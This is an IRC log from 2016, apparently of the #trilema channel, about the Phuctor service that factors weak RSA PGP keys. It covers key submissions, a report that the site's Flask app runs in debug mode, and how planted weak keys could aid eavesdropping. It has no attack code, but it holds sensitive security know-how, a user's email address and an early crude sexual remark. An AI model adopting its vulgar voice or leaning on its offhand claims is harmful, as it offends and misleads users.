1460573;1462152807;asciilifeform;"GET /humans.txt HTTP/1.1" << l0l 1460574;1462153595;deedbot;[Qntra] No Such lAbs Phuctoring Harder Than Ever - http://qntra.net/2016/05/no-such-labs-phuctoring-harder-than-ever/ 1460575;1462154187;BingoBoingo;;;ticker --market all 1460576;1462154194;gribble;Bitstamp BTCUSD last: 451.39, vol: 1220.84749747 | BTC-E BTCUSD last: 448.293, vol: 2216.06661 | Bitfinex BTCUSD last: 451.47, vol: 4174.91672794 | CampBX BTCUSD last: 454.97, vol: 0.15 | BTCChina BTCUSD last: 454.253625, vol: 16098.60880000 | Kraken BTCUSD last: 451.95, vol: 308.9699291 | Bitcoin-Central BTCUSD last: 451.4452, vol: 7.0300301 | Volume-weighted last average: (1 more message) 1460577;1462154235;BingoBoingo;;;more 1460578;1462154236;gribble;453.044215707 1460579;1462156721;asciilifeform;http://chat.stackoverflow.com/rooms/10/loungec << lel, phuctor 1460580;1462158012;mircea_popescu;check that out, stackoverflow got this datamining of users down to a fine art huh. 1460581;1462158027;mircea_popescu;http://chat.stackoverflow.com/rooms/info/10/loungec etc 1460582;1462158086;mircea_popescu;it's not even irc, what is it, some sort of java thing ? 1460583;1462158354;asciilifeform;nfi 1460584;1462158365;asciilifeform;some lamerism. 1460585;1462158383;asciilifeform;getting reddit folk at 2-3/sec. 1460586;1462158391;asciilifeform;fatlottagood they do. 1460587;1462158407;asciilifeform;a few submitted keyz, so not wholly waste of bw. 1460588;1462158414;mircea_popescu;at this rate you'll end up a traffic analytics expert :D 1460589;1462158420;asciilifeform;lelxpert 1460590;1462158443;mircea_popescu;hey, one of the best natural cocksuckers i ever encountered was a that-expert. 1460591;1462158485;mircea_popescu;i think her mommy had her with a constrictor snake and she had a square bone in her neck. 1460592;1462158485;asciilifeform;seo?! 1460593;1462158485;mircea_popescu;nononono, traffic ANALYTICS!!1 1460594;1462158487;mircea_popescu;very different expertise. 1460595;1462158600;asciilifeform;l0l! 1460596;1462158692;BingoBoingo;Opposite expertises 1460597;1462159631;ben_vulpes;square? 1460598;1462160509;BingoBoingo;DiaperCube(TM)(R) 1460599;1462161980;BingoBoingo;;;bc,stats 1460600;1462161983;gribble;Current Blocks: 409824 | Current Difficulty: 1.7865925777252728E11 | Next Difficulty At Block: 411263 | Next Difficulty In: 1439 blocks | Next Difficulty In About: 1 week, 2 days, 2 hours, 34 minutes, and 56 seconds | Next Difficulty Estimate: None | Estimated Percent Change: None 1460601;1462161994;BingoBoingo;$phuctor.stats 1460602;1462162119;mircea_popescu;lel 1460603;1462162851;mircea_popescu;$up fromphuctor 1460604;1462162856;mircea_popescu;$up fromphuctor_ 1460605;1462162863;mircea_popescu;and alf was complaining... 1460606;1462162872;deedbot;fromphuctor voiced for 30 minutes. 1460607;1462162872;deedbot;fromphuctor_ voiced for 30 minutes. 1460608;1462162881;mircea_popescu;trinque btw, why is deedbot so slo ? 1460609;1462162931;mircea_popescu;$up ez_ 1460610;1462162931;deedbot;ez_ voiced for 30 minutes. 1460611;1462163101;mircea_popescu;this is kinda lulzy. 1460612;1462163169;mircea_popescu;$up fromphuctor 1460613;1462163170;deedbot;fromphuctor voiced for 30 minutes. 1460614;1462163256;mircea_popescu;asciilifeform http://dpaste.com/1DN0TTM ftr. 1460615;1462163426;asciilifeform;mircea_popescu: lel 1460616;1462163450;asciilifeform;www still up tho. 1460617;1462163461;mircea_popescu;aha. prolly a setting in python neh ? 1460618;1462163471;asciilifeform;what's interesting is that this barf is ~disabled~ 1460619;1462163476;asciilifeform;turns out setting - ignored. 1460620;1462163487;mircea_popescu;modern software. 1460621;1462163489;asciilifeform;burnitall(tm)(r) 1460622;1462163496;mircea_popescu;$up fromphuctor_ 1460623;1462163498;deedbot;fromphuctor_ voiced for 30 minutes. 1460624;1462163547;asciilifeform;turns out it's on hnews now. 1460625;1462163553;asciilifeform;hence the mega-torrent-of-flies 1460626;1462163560;mircea_popescu;i guess they showed us, huh. 1460627;1462163564;asciilifeform;5-10/sec. 1460628;1462163573;asciilifeform;$up gabriel_laddel 1460629;1462163575;mircea_popescu;anyway. can you get it back to normalcy ? 1460630;1462163577;deedbot;gabriel_laddel voiced for 30 minutes. 1460631;1462163579;asciilifeform;mircea_popescu: it is up! 1460632;1462163596;mircea_popescu;a cool 1460633;1462163621;asciilifeform;grunting at a MB/s or so, yes 1460634;1462163625;mircea_popescu;server should be ok up to 100/s sort of levels. 1460635;1462163637;asciilifeform;recall it is also trb. 1460636;1462163637;mircea_popescu;at least in teh-ory. 1460637;1462163660;mircea_popescu;yeah but trb really doesn't load worth the mention. especially if caught up. 1460638;1462163675;asciilifeform;or if helping other folk up 1460639;1462163697;mircea_popescu;lel 1460640;1462163711;mircea_popescu;don't you wonder why is this so scary btw ? 1460641;1462163715;mircea_popescu;$up fromphuctor 1460642;1462163716;deedbot;fromphuctor voiced for 30 minutes. 1460643;1462163723;asciilifeform;mircea_popescu: waiwut 1460644;1462163729;asciilifeform;which 1460645;1462163734;mircea_popescu;irc! 1460646;1462163739;asciilifeform;ah yeah 1460647;1462163747;asciilifeform;first few thou didn't even bother clicking 1460648;1462163750;mircea_popescu;almost like it has terrorism scent all over it. 1460649;1462163848;asciilifeform;apparently! 1460650;1462163863;BingoBoingo;lol https://archive.is/NlKL3 1460651;1462163880;mircea_popescu;$up fromphuctor_ 1460652;1462163881;deedbot;fromphuctor_ voiced for 30 minutes. 1460653;1462163891;asciilifeform;BingoBoingo: ahahahaha cosmicrayz again 1460654;1462163899;BingoBoingo;what else? 1460655;1462163933;mircea_popescu;teh schedule proceeds unabated! 1460656;1462163975;mircea_popescu;i suppose within a few hours it makes the front page (again) and then it gets replaced with an "official science" replacement... 1460657;1462163987;asciilifeform;with 'why japanese toilets did not catch on in america!' 1460658;1462163997;mircea_popescu;$up fromphuctor 1460659;1462163998;deedbot;fromphuctor voiced for 30 minutes. 1460660;1462164003;asciilifeform;i will be disappointed if the new replacement for the phuctor story is not jp-toilet related. 1460661;1462164017;gabriel_laddel;lol. nice job with phuctor btw ascii. exciting times. 1460662;1462164024;mircea_popescu;asciilifeform incidentally, according to amazon, trilema is biggest in japan. 1460663;1462164041;asciilifeform;mircea_popescu: mega-unsurprise, iirc their entire economy consists of old men browsing pr0n 1460664;1462164052;fromphuctor;What does it mean whe the public exponent is not prime? 1460665;1462164054;mircea_popescu;what's pron got to do got to do got to do with it... 1460666;1462164073;asciilifeform;fromphuctor: http://trilema.com/2016/the-recent-phuctor-finds-explained << elaborated here 1460667;1462164075;mircea_popescu;fromphuctor do you know how rsa works ? 1460668;1462164089;fromphuctor;It's a public key encryption scheme, right? 1460669;1462164105;mircea_popescu;there's a difference between "what it is" and "how it works". 1460670;1462164168;fromphuctor;I'm reading the linked post now. 1460671;1462164177;mircea_popescu;gabriel_laddel how's life treatin ya anyway. 1460672;1462164214;asciilifeform;$up fromphuctor_ 1460673;1462164216;deedbot;fromphuctor_ voiced for 30 minutes. 1460674;1462164233;gabriel_laddel;mircea_popescu: sometimes not really having a job is a bit of a chore. 1460675;1462164246;mircea_popescu;and sometimes having one is. 1460676;1462164266;fromphuctor;How are these prime numbers chosen? I understand it is very hard to find prime numbers. 1460677;1462164270;mircea_popescu;lol they'll run out of dashes. 1460678;1462164275;mircea_popescu;$up fromphuctor__ 1460679;1462164275;deedbot;fromphuctor__ voiced for 30 minutes. 1460680;1462164275;asciilifeform;$up fromphuctor__ 1460681;1462164276;deedbot;fromphuctor__ voiced for 30 minutes. 1460682;1462164288;gabriel_laddel;Anyways, I'm a bit busy atm, have not been able to get the full masamune replication working, which is irritating. but I do have customers waiting on me, which is exciting. 1460683;1462164295;mircea_popescu;fromphuctor it's not that hard to find prime numbers. in general, rsa keys should be seeded from a good entropy source. 1460684;1462164327;mircea_popescu;(note that e is almost everywhere 65537, which is both prime and cheap.) 1460685;1462164361;mircea_popescu;in fact... 65537 makes SUCH a good e, not using it is triple-eyebrow raising. 1460686;1462164361;fromphuctor;Okay. So the size of the prime number does not matter that much for the security of the cipher as the entrophy source. 1460687;1462164386;fromphuctor;Wouldn't a bigger prime exponent be more difficult for an adversary to crack? 1460688;1462164403;mircea_popescu;the size of e is not particularly relevant ; it not being 65537 is very suspicious. it being non-prime is even more suspicious. 1460689;1462164407;mircea_popescu;nope. 1460690;1462164494;fromphuctor;Okay. So apparently a lot of people messed up their cryptography, and had non-prime exponents (or very small primes) for some weird reason. 1460691;1462164501;asciilifeform;$up fromphuctor_ 1460692;1462164501;deedbot;fromphuctor_ voiced for 30 minutes. 1460693;1462164508;mircea_popescu;fromphuctor that is last week's news. this week's news is that ACTUAL KEYS were cracked. 1460694;1462164524;asciilifeform;the texas instruments key, for instance. 1460695;1462164526;fromphuctor;Oh. That's really bad, isn't it? 1460696;1462164531;asciilifeform;fromphuctor: for them. 1460697;1462164534;mircea_popescu;for whoever relied on that key, it is. 1460698;1462164540;mircea_popescu;$up GyrosGeier 1460699;1462164540;deedbot;GyrosGeier voiced for 30 minutes. 1460700;1462164546;GyrosGeier;hi 1460701;1462164549;mircea_popescu;hola. 1460702;1462164567;GyrosGeier;I'm trying to submit my key, but keep getting an error 1460703;1462164568;fromphuctor;Why were these keys so easy to crack? Were they due to faulty implementations of the cryptosystem? 1460704;1462164575;asciilifeform;GyrosGeier: what kind of error ? 1460705;1462164578;GyrosGeier;is there any restriction on what keys are accepted? 1460706;1462164583;asciilifeform;GyrosGeier: RSA only 1460707;1462164583;mircea_popescu;fromphuctor most likely subverted pgp implementation. 1460708;1462164588;GyrosGeier;Error: Was that really a GPG public key? Try again. 1460709;1462164598;asciilifeform;GyrosGeier: you probably have a DSA or ECDSA key. 1460710;1462164598;mircea_popescu;GyrosGeier dpaste what you're trying to stick in, maybe. 1460711;1462164601;GyrosGeier;RSA 4096, with three RSA 2048 subkeys 1460712;1462164614;asciilifeform;GyrosGeier: pastebin the key plz 1460713;1462164631;fromphuctor;So my SSH keys are probably not compromised, assuming my cryptography software wasn't broken by the government. 1460714;1462164636;GyrosGeier;http://paste.debian.net/653652/ 1460715;1462164637;fromphuctor;Would that be a good assumption to make? 1460716;1462164648;mircea_popescu;fromphuctor you can export them and check yourself. then no need to assume anything. 1460717;1462164662;GyrosGeier;that is --export-options export-minimal --export --armor 1460718;1462164679;fromphuctor;How do I do that? 1460719;1462164683;asciilifeform;GyrosGeier: you have utf8 rubbish in that key 1460720;1462164692;asciilifeform;GyrosGeier: the box is not set up to handle this yet. sadly. 1460721;1462164694;mircea_popescu;i thought that was fixed last time ?! 1460722;1462164701;asciilifeform;mircea_popescu: nope, pythonism 1460723;1462164705;mircea_popescu;oh. 1460724;1462164707;asciilifeform;aha. 1460725;1462164711;GyrosGeier;ah, so I need to strip out those UIDs 1460726;1462164713;mircea_popescu;GyrosGeier you'll have to try again later, once this is caught up with. 1460727;1462164719;fromphuctor;My SSH keys came when I used the ssh-keygen command. How do I export them? 1460728;1462164720;mircea_popescu;or wipe the uids if you know how / can. 1460729;1462164722;asciilifeform;GyrosGeier: it will be handled in near future. 1460730;1462164728;asciilifeform;these are being piled up. 1460731;1462164734;GyrosGeier;do you actually need an UID in there? 1460732;1462164738;mircea_popescu;nope. 1460733;1462164739;asciilifeform;GyrosGeier: nope. optional. 1460734;1462164753;GyrosGeier;that makes filtering the packet stream easier 1460735;1462164758;asciilifeform;fromphuctor: it is nontrivial to convert ssh key to pgp key format. 1460736;1462164771;mircea_popescu;i guess we'll have to write a tool for this eventually, willy-nilly. 1460737;1462164775;mircea_popescu;people will just keep asking. 1460738;1462164776;asciilifeform;yeah. 1460739;1462164779;asciilifeform;apparently! 1460740;1462164785;fromphuctor;Apologies. I'm not that good at cryptography. 1460741;1462164800;fromphuctor;Thank you very much for your efforts and help. I sincerely appreciate it. 1460742;1462164810;mircea_popescu;fromphuctor either you go read up on http://btcbase.org/log/2016-04-27#1458766 and do the conversion / publish the tool, or else wait for someone to do it. 1460743;1462164868;fromphuctor;Thank you. Have a good day. 1460744;1462164902;asciilifeform;$up fromphuctor 1460745;1462164903;deedbot;fromphuctor voiced for 30 minutes. 1460746;1462164910;mircea_popescu;lol check out submarine beds. 1460747;1462164919;asciilifeform;quite. 1460748;1462164972;GyrosGeier;hm 1460749;1462164989;GyrosGeier;seems to have worked 1460750;1462165011;asciilifeform;GyrosGeier: congrats 1460751;1462165072;asciilifeform;$up fromphuctor_ 1460752;1462165072;deedbot;fromphuctor_ voiced for 30 minutes. 1460753;1462165075;GyrosGeier;we'll see if anything falls over with no uids and signatures :) 1460754;1462165107;asciilifeform;;;later tell phf logz are down ? 1460755;1462165107;gribble;The operation succeeded. 1460756;1462165129;mircea_popescu;http://phuctor.nosuchlabs.com/gpgfp/4D4F615E7EC1DDE8E664C3B10877BE0E1CDC1142 << replace with your own fp. 1460757;1462165240;mircea_popescu;asciilifeform server is actually doing pretty good, considering. 1460758;1462165254;GyrosGeier;whoa 1460759;1462165260;GyrosGeier;lots of famous names in there 1460760;1462165263;asciilifeform;mircea_popescu: i massaged the hell out of it 1460761;1462165270;mircea_popescu;nice job. 1460762;1462165287;asciilifeform;GyrosGeier: the caveat is that anyone can create a key with whatever name string in it. 1460763;1462165295;GyrosGeier;good point 1460764;1462165298;asciilifeform;e.g., osama@whitehouse.ru 1460765;1462165332;mircea_popescu;yeah, fingerprints more important than names per se. though there's some orgs that got clearly raped. 1460766;1462165336;*;GyrosGeier checks signatures 1460767;1462165386;asciilifeform;GyrosGeier: some of the keys (marked 'mirrored' under 'notes') were part of an organized flimflam campaign by an unknown (likely nsa) party exploiting the fact that old versions of pgp used the bottom 32 bits of a modulus as the fingerprint. 1460768;1462165406;asciilifeform;they took legit keys and turned the moduli into repeating lengths of the bottom 32bit of the old mod. 1460769;1462165414;asciilifeform;and uploaded to sks net. 1460770;1462165421;asciilifeform;$up fromphuctor 1460771;1462165421;deedbot;fromphuctor voiced for 30 minutes. 1460772;1462165458;GyrosGeier;indeed, but these shouldn't have signatures from me 1460773;1462165477;asciilifeform;GyrosGeier: those will have signatures but gpg will correctly reject them as invalid. 1460774;1462165484;asciilifeform;(if you find one where it does ~not~, please say!) 1460775;1462165538;*;asciilifeform bbl. 1460776;1462165550;GyrosGeier;is there some effort to notify people? 1460777;1462165599;GyrosGeier;I've found one from the same org as myself, with a key they use, which is signed by me, so that is clearly theirs 1460778;1462166078;GyrosGeier;nm, found it 1460779;1462166097;*;GyrosGeier will check back later, good night 1460780;1462166712;gabriel_laddel;$up r00s 1460781;1462166713;deedbot;gabriel_laddel may not $up r00s 1460782;1462166910;gabriel_laddel;Oh, and X.com was elon musk, not thiel. http://btcbase.org/log/2016-04-29#1459342 1460783;1462166942;gabriel_laddel;They merged with paypal eventually though, so yes, close. 1460784;1462167407;punkman;$up fromphuctor 1460785;1462167408;deedbot;punkman may not $up fromphuctor 1460786;1462168272;mircea_popescu;gabriel_laddel right you are. 1460787;1462168462;mircea_popescu;$up r00s 1460788;1462168472;deedbot;r00s voiced for 30 minutes. 1460789;1462168491;gabriel_laddel;Is anyone here deep into neural nets / ml? 1460790;1462168497;mircea_popescu;GyrosGeier> is there some effort to notify people? << not really, feel free to notify whoever. 1460791;1462168550;gabriel_laddel;And if so, are you familiar with the optimization techniques "optimal braindamage" or "optimal brain surgery"? 1460792;1462168553;punkman;I sent a coupla mails after previous phuctoring, nobody wrote back 1460793;1462168559;gabriel_laddel;(circa 1995 ish) 1460794;1462168587;mircea_popescu;punkman same, iirc. 1460795;1462168731;mircea_popescu;asciilifeform https://www.reddit.com/r/programming/comments/4hcvvi/200_pgp_keys_and_counting_publicly_broken/ << a look, you're famous nao. 1460796;1462169579;gabriel_laddel;http://blakemasters.com/peter-thiels-cs183-startup 1460797;1462169627;gabriel_laddel;^ "Notes Essays-Peter Thiel’s CS183: Startup-Stanford, Spring 2012" 1460798;1462169646;gabriel_laddel;Eventually these were compiled into the book Zero to One. 1460799;1462169663;gabriel_laddel;I enjoyed them ~2-3 years ago 1460800;1462175241;punkman;http://www.bbc.com/news/technology-36168863 1460801;1462175264;punkman;At the meeting with the BBC, Mr Wright digitally signed messages using cryptographic keys created during the early days of Bitcoin's development. The keys are inextricably linked to blocks of bitcoins known to have been created or "mined" by Satoshi Nakamoto. 1460802;1462175411;punkman;http://www.drcraigwright.net/jean-paul-sartre-signing-significance/ 1460803;1462175516;punkman;Be assured, just as you have worked, I have not been idle during these many years. Since those early days, after distancing myself from the public persona that was Satoshi, I have poured every measure of myself into research. I have been silent, but I have not been absent. I have been engaged with an exceptional group and look forward to sharing our remarkable work when they are ready. 1460804;1462175519;punkman;Satoshi is dead. 1460805;1462175534;punkman;altcoin incoming!!1 1460806;1462176070;punkman;"Mr Wright does not want to make public the proof for block 1, arguing that block 9 contains the only bitcoin address that is clearly linked to Mr Nakamoto (because he sent money to Hal Finney). Repeating the procedure for other blocks, he says, would not add more certainty. He also says he can’t send any bitcoin because they are now owned by a trust. " 1460807;1462180714;adlai;danielpbarron: thx 1460808;1462180719;adlai;jurov: correct, as always 1460809;1462180751;adlai;mod6: your hairshirt orgmode reimplementation 1460810;1462180778;*;adlai reminds everybody that the real reason he /does/n't keep secrets is because there were none, to begin with. 1460811;1462180834;adlai;either 60 "random" words have nothing to do with my life, or my basal ganglia are still swimming in lsd. 1460812;1462185454;mircea_popescu;$up roxfan 1460813;1462185463;deedbot;roxfan voiced for 30 minutes. 1460814;1462185476;mircea_popescu;$up JusticeRage 1460815;1462185476;deedbot;JusticeRage voiced for 30 minutes. 1460816;1462185477;roxfan;thx 1460817;1462185511;mircea_popescu;aha. 1460818;1462185519;mircea_popescu;what's a rox 1460819;1462185524;roxfan;i want to submit a key to phuctor but i have only raw N and E, not GPG format 1460820;1462185537;roxfan;any idea how to make one? 1460821;1462185542;mircea_popescu;so make it gpg format. 1460822;1462185576;roxfan;yes, how? 1460823;1462185583;mircea_popescu;it's rfc4880 1460824;1462185613;mircea_popescu;https://tools.ietf.org/html/rfc4880 1460825;1462185638;mircea_popescu;once you write the thing, post it somewhere also. 1460826;1462185656;roxfan;i was hoping there's an easier way... 1460827;1462185667;mircea_popescu;$up dfgg 1460828;1462185669;deedbot;dfgg voiced for 30 minutes. 1460829;1462185671;mircea_popescu;$up fromphuctor 1460830;1462185671;deedbot;fromphuctor voiced for 30 minutes. 1460831;1462185674;mircea_popescu;$up fromphuctor_ 1460832;1462185675;deedbot;fromphuctor_ voiced for 30 minutes. 1460833;1462185683;mircea_popescu;$up hexa- 1460834;1462185684;deedbot;hexa- voiced for 30 minutes. 1460835;1462185691;mircea_popescu;$up pabs3 1460836;1462185691;deedbot;pabs3 voiced for 30 minutes. 1460837;1462185694;mircea_popescu;$up piratsimon 1460838;1462185695;deedbot;piratsimon voiced for 30 minutes. 1460839;1462185703;mircea_popescu;$up spoonzy_ 1460840;1462185704;deedbot;spoonzy_ voiced for 30 minutes. 1460841;1462185707;mircea_popescu;$up sbp 1460842;1462185707;deedbot;sbp voiced for 30 minutes. 1460843;1462185712;mircea_popescu;$up tribut 1460844;1462185712;deedbot;tribut voiced for 30 minutes. 1460845;1462185721;mircea_popescu;lettuce have a partay! 1460846;1462185776;mircea_popescu;phf did logbot die ? 1460847;1462185804;mircea_popescu;punkman> At the meeting with the BBC, Mr Wright digitally signed messages using cryptographic keys created during << i dun recall the derpy "sign with key" thing was ever regarded by tmsr. 1460848;1462185824;mircea_popescu;leaving aside this whole "at a meeting with hitler's propaganda minister, we saw it, swear!" angle. 1460849;1462185880;mircea_popescu;roxfan not that i know so far. 1460850;1462185926;roxfan;could the site be modified to accept raw numbers? 1460851;1462185985;mircea_popescu;sure. write the modification and submit it. 1460852;1462186185;piratsimon;Hi folks. 1460853;1462186185;JusticeRage;Thanks for giving me voice. Did you get my MP about the debug mode? 1460854;1462186196;piratsimon;tyvm for the v 1460855;1462186221;piratsimon;just came along because phuctor said so. ;) 1460856;1462186248;piratsimon;and now? ^^ 1460857;1462186288;pabs3;are you planning on revoking the keys you have factored? 1460858;1462186394;mircea_popescu;gola piratsimon 1460859;1462186415;mircea_popescu;pabs3 notrealy. 1460860;1462186425;mircea_popescu;$up fromphuctor___ 1460861;1462186447;mircea_popescu;JusticeRage did i get myself ?! hm ? 1460862;1462186501;mircea_popescu;piratsimon would you be so kind as to post the software you used to make that key ? 1460863;1462186527;piratsimon;that was really loooooooooong time ago. 1460864;1462186538;mircea_popescu;maybe we actually manage to figure out who did what to whom here, it's suspicious as all hell. 1460865;1462186539;piratsimon;guess i have to investigate that. 1460866;1462186557;mircea_popescu;can there be a numeric value for this "loooooooooong time ago." ? 1460867;1462186563;piratsimon;well at least i have to investigate the version. it was gpg for windows. 1460868;1462186564;JusticeRage;mircea_popescu : didn't understand your answer 1460869;1462186581;mircea_popescu;JusticeRage i didn't understand your question. people call me mp at times. 1460870;1462186585;punkman;https://twitter.com/petertoddbtc/status/727078284345917441 heh 1460871;1462186593;JusticeRage;I just came to mention that the Phuctor Flask app is running in debug mode 1460872;1462186605;mircea_popescu;oh, still ?! 1460873;1462186608;JusticeRage;That's a security issue and you should probably disable that :) 1460874;1462186629;JusticeRage;At least it was the case a few hours ago 1460875;1462186654;JusticeRage;I stumbled upon a stacktrace by accident 1460876;1462186681;piratsimon;mircea, have u successfull attacked a private key you dont own and did you successfull decrypt some strong encrypted file wighout possess of the private key? 1460877;1462186686;mircea_popescu;JusticeRage asciilifeform was bitching about it ignoring his settings earlier. he'll get on it once back. 1460878;1462186691;mircea_popescu;$up fromphuctor__ 1460879;1462186699;deedbot;fromphuctor__ voiced for 30 minutes. 1460880;1462186737;mircea_popescu;piratsimon no ; but given what we know about these keys it's a trivial exercise. 1460881;1462186757;mircea_popescu;JusticeRage thanks for reporting. 1460882;1462186780;JusticeRage;No problem! 1460883;1462186835;piratsimon;thats quite interesting. interested in testing it? im gonna encrypt something and you try to decrypt not knowing the phrase nor possessing the private key? ;) 1460884;1462186853;piratsimon;you dont have to but im just curious. ;) 1460885;1462186877;punkman;piratsimon: post it on pastebin, maybe someone will give it a try 1460886;1462186887;mircea_popescu;punkman it was unavoidable. dead men walking. 1460887;1462186900;mircea_popescu;piratsimon sure, by all means post something. 1460888;1462186989;piratsimon;deal. ;) gimme some minutes. ;) 1460889;1462186990;mircea_popescu;asciilifeform you'll have to add verbiage explaining to the goodfolk that rsa keys specifically and uniquely are at issue ; somehow it's not obvious dsa/ecc/elgamaletc dun work. 1460890;1462187097;mircea_popescu;lmao this drcraigwright.net thingee. 1460891;1462187248;mircea_popescu;looks like it's done by the same "i fucking love science" ustard crew. 1460892;1462187293;mircea_popescu;"He was Vice President of CSCSS (Centre for Strategic Cyberspace and Security Science) with a focus on collaborating government bodies in securing cyber systems. Wright has trained government and corporate departments in SCADA Security, Cyber Warfare and Cyber Defence." 1460893;1462187297;mircea_popescu;pity not also marine. 1460894;1462187323;mircea_popescu;"He was Vice President of CSCSS (Centre for Strategic Cyberspace and Security Science) with a focus on collaborating government bodies in securing cyber systems. Wright has trained government and corporate departments in SCADA Security, Cyber Warfare and Cyber Defence." 1460895;1462187337;mircea_popescu;lulzy "that key is not available" failscript, also. MUCH SECURITY! 1460896;1462187351;mircea_popescu;hopefully it protected the aussie something or the other just as well! 1460897;1462187423;mircea_popescu;anyway. domain reg'd feb 16th, first post april 26th. teh boyz poured their sweat blood an' tears as the expression goes. too bad it won't work. 1460898;1462187437;mircea_popescu;but, entertaining while it lasts. 1460899;1462187610;mircea_popescu;$up piratsimon 1460900;1462187611;deedbot;piratsimon voiced for 30 minutes. 1460901;1462187623;piratsimon;tyvm 1460902;1462187626;piratsimon;;) 1460903;1462187673;piratsimon;challenge: http://pastebin.com/t4xqzfyx im really curious how long it does take. you may contact me via mail@simonlange.eu if you mind. ;) 1460904;1462187715;mircea_popescu;is there some sort of reward associated or just sportstmanship challenge ? 1460905;1462187732;piratsimon;just sportsmanship and curiosity. ;) 1460906;1462187750;mircea_popescu;alrighty. in the meanwhile, you understand how rsa works ? 1460907;1462187759;piratsimon;punkman suggested i should give an example via pastebin. 1460908;1462187764;piratsimon;so voilá there it is. :D 1460909;1462187880;piratsimon;yes i do. but i bet you are right now deeper in the topic than me. ;) 1460910;1462187969;mircea_popescu;aite. 1460911;1462188023;piratsimon;im just curious how long it does really take to break it. you know, theory is one thing, doin it another. :D 1460912;1462188045;mircea_popescu;generally, it takes someone to care enough. 1460913;1462188265;shinohai;Is it just me or are logs not synced? 1460914;1462188282;shinohai;and good morning #trilema 1460915;1462188287;mircea_popescu;piratsimon you used a different key. http://phuctor.nosuchlabs.com/gpgkey/FC96CBFBF66B4E8996A0960C8B95EC5D1CD4B1A860719C7AEA00B3E06E41CE1B << these two are weak. 1460916;1462188294;mircea_popescu;you used gpg: public key is E5FF86FA 1460917;1462188303;mircea_popescu;it would appear you don't actually understand how rsa works ? 1460918;1462188400;piratsimon;well, my key is http://pgp.mit.edu/pks/lookup?op=get&search=0xB09FBD06BDD503BE 1460919;1462188434;mircea_popescu;that's not in there either. 1460920;1462188487;mircea_popescu;$up tribut 1460921;1462188489;deedbot;tribut voiced for 30 minutes. 1460922;1462188496;piratsimon;thats why i was curious what key you did factorize? because - yes - it was my name and a really old email address of me. but actually not my key. not even my revoked one. 1460923;1462188513;tribut;piratsimon: did you read https://news.ycombinator.com/item?id=11609909 ? 1460924;1462188520;tribut;mircea_popescu: thanks 1460925;1462188542;piratsimon;no tribut, didnt, did not had that url util now. let me read it fast. 1460926;1462188543;mircea_popescu;piratsimon you could ask that then, neh ? the pile of keys being worked on come from a dump of sks servers. 1460927;1462188618;piratsimon;sry mircea. that was a classic misunderstanding. we both did assume something. ;) 1460928;1462188632;mircea_popescu;for my benefit, list said assumptions explicitly. 1460929;1462188639;piratsimon;;) 1460930;1462188758;piratsimon;anyhow, wont bother you any longer. ;) have a nice day. we got finally sunshine. bb 1460931;1462188781;piratsimon;and my apologies for that itsybitsy misunderstanding. :D 1460932;1462188844;mircea_popescu;no big deal. 1460933;1462188891;mircea_popescu;you have to realise however that if eve is trying to eavesdrop on alice's communications to you, 1460934;1462188912;mircea_popescu;the most effectual approach is to put a broken key of yours up on sks, and wait for alice to mistake it for yours. 1460935;1462188931;mircea_popescu;particularly effective if you don't even know alice ; and no you wouldn't know you missed anything. 1460936;1462188973;mircea_popescu;the specific sort of broken keys listed there (ie, with mirrored low 32bit modulus) is obviously an' very much designed just for this purpose. 1460937;1462188976;mircea_popescu;$up fromphuctor 1460938;1462188977;deedbot;fromphuctor voiced for 30 minutes. 1460939;1462188979;mircea_popescu;$up egorsmkv 1460940;1462188979;deedbot;egorsmkv voiced for 30 minutes. 1460941;1462189005;egorsmkv;hello, who administrate server? 1460942;1462189008;egorsmkv;http://phuctor.nosuchlabs.com/ 1460943;1462189015;mircea_popescu;yes. next question ? 1460944;1462189054;egorsmkv;disable DEBUG mode on server 1460945;1462189060;egorsmkv;traceback https://gist.github.com/2d8091496aa7fbea1ccb4334df2fc115 1460946;1462189090;mircea_popescu;aha thanks. was already reported. asciilifeform will get to it once he's back. 1460947;1462189192;egorsmkv;service very good, thanks for it 1460948;1462189245;mircea_popescu;*thumbsup* 1460949;1462189248;mircea_popescu;$up fromphuctor 1460950;1462189250;deedbot;fromphuctor voiced for 30 minutes. 1460951;1462189280;mircea_popescu;egorsmkv in fairness most merit goes to bernstein, with his work we do in 20 minutes what used to take ~10 years on the first estimation. 1460952;1462189873;mircea_popescu;$up fromphuctor__ 1460953;1462189881;deedbot;fromphuctor__ voiced for 30 minutes. 1460954;1462189929;mircea_popescu;$up fromphuctor____ 1460955;1462189930;deedbot;fromphuctor____ voiced for 30 minutes. 1460956;1462189955;mircea_popescu;lol. 1460957;1462189958;mircea_popescu;$up fromphuctor__ 1460958;1462189958;deedbot;fromphuctor__ voiced for 30 minutes. 1460959;1462190079;mircea_popescu;$up fromphuctor_____ 1460960;1462190079;deedbot;fromphuctor_____ voiced for 30 minutes. 1460961;1462190179;mircea_popescu;$up _Blazed 1460962;1462190180;deedbot;_Blazed voiced for 30 minutes. 1460963;1462190567;jurov;https://news.ycombinator.com/item?id=11610101 1460964;1462190578;jurov;"FYI, @gavinandresen's commit access just got removed - Core team members are concerned that he may have been hacked." 1460965;1462190791;jurov;oops the ycombinator url is wrong, the excerpt is from https://twitter.com/petertoddbtc/status/727078284345917441 1460966;1462191638;danielpbarron;apparently the signature on wright's thing was lifted from an old transaction 1460967;1462191864;punkman;danielpbarron: the redditards fail at reading, so thought the "worked example" in blogpost would be the secret signature presented to BBC et al 1460968;1462191933;danielpbarron;$up iceblox 1460969;1462191934;deedbot;iceblox voiced for 30 minutes. 1460970;1462192017;danielpbarron;$up Valfor 1460971;1462192018;deedbot;Valfor voiced for 30 minutes. 1460972;1462192033;Valfor;Cheers :) 1460973;1462192050;Valfor;oh, timed voice - interesting 1460974;1462192052;Valfor;:) 1460975;1462192063;danielpbarron;yes use it well, what brings you here? 1460976;1462192086;Valfor;I saw the list of broken GPG keys on the phuctor website 1460977;1462192091;Valfor;Saw the contact mention this irc chan 1460978;1462192101;Valfor;and so came here, as I was intrigued 1460979;1462192101;iceblox;Hello there, I found my key to be in the sadmods and followed the contact link :) 1460980;1462192122;danielpbarron;oo interesting. how did you make that key? 1460981;1462192166;iceblox;Using gpg --gen-key, but about 13 years ago 1460982;1462192180;danielpbarron;what version, on what operating system? 1460983;1462192235;iceblox;I have no idea what version, operating system was NetBSD 1.6 for sure 1460984;1462192240;iceblox;maybe 1.6.1 1460985;1462192268;danielpbarron;is your key actually broken or is it just a weird exponent? 1460986;1462192293;iceblox;public exponent is not prime 1460987;1462192411;danielpbarron;you mind sharing which key is yours? 1460988;1462192413;asciilifeform;mircea_popescu: fixed barf 1460989;1462192434;iceblox;Oh, sure... 